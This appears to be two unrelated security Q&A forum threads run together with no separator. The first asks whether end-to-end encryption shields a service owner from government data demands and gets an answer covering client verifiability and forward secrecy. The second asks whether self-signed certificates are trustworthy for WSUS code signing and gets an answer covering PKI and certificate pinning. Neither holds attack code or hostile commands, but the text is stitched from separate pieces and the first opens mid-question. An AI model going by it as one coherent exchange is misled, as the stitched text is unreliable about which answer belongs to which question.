Thus, if you were trying to build a company where even if the government forced you at gun point to give up the data of a certain user, wouldn't client side encryption provide you, the server owner, with better protection from such an ultimatum?

I know client side encryption is generally not seen as ideal.

I don't think that's true; you may be mixing up a few different things.

One of the canonical rules in secure software design is to never trust the user.  This means that any time you do, say, validation that a form field is in the correct format, you must do that on the server, or else an attacker can feed your application an attack payload.  This holds true to certain forms of cryptography as well, as long as it's something where your application will interact with the resultant data.

What you're talking about here is end-to-end encryption.  In these situations, the encrypted data is only ever dealt with in the server-side application as a binary blob.  This is only useful in a few situations, like cloud storage and messaging apps, and you give up the ability to provide features many users want, like sophisticated search.

So to answer your question,

  Thus, if you were trying to build a company where even if the government forced you at gun point to give up the data of a certain user, wouldn't client side encryption provide you, the server owner, with better protection from such an ultimatum?

Yes, end-to-end encryption does.

There are further things to consider, though.  Is the client application closed source?  Then how can the user verify that you aren't sending the data off unencrypted to your (or the government's) servers?  Is the client application installed through an app store?  How can the user verify that you haven't pushed a new version of the app that makes significant changes from the one they audited?  Is the client application installed as a binary?  How can the user verify that the binary you're providing comes from the unmodified source that they've read?  The recent Apple FBI controversy dealt with some of these issues.

Also related is the subject of forward secrecy, in which a key that's been handed over to the government doesn't allow them to decrypt past conversations.


Self-signed certificates usage for code signing purposes if a self-signed certificate is trusted by the client's certificate store, then it should be fine to be used, since the client trusts the issuer of the certificate as it does any other trusted CA (certificate issuer).

However, I believe that the problem with self-signed certificates is that you have a distributed certificate issuer, meaning that "the CA" is not secured like a CA should be, and the risk of it being compromised is higher than that of a sensitively taken care of CA.

Here's where I get confused.  The last paragraph is wrong.  Since the certificate is self-signed and the public key of the key pair is trusted, then the certificate issuer is not trusted; just the key pair is trusted.

Is this correct?

Is it safe to assume that self-signed certificates are trustworthy 100% of the time?

Thanks,

Matt

P.S.
This is in relation to the issuance of a code signing for Local Update Publisher to be used with a WSUS install.  Not a web site.

P.P.S.
Did I not just explain how a "root CA" is trusted/trustworthy?

A Certificate Authority is just one component of the Public Key Infrastructure.   The PKI is "a set of hardware, software, people, policies, and procedures needed to create, manage, distribute, use, store, and revoke digital certificates."  A CA alone isn't very helpful...

You can use self-singed certificates securely by using Certificate Pinning.  This is where you know what certificate to expect,  so you don't need a PKI to verify its authenticity.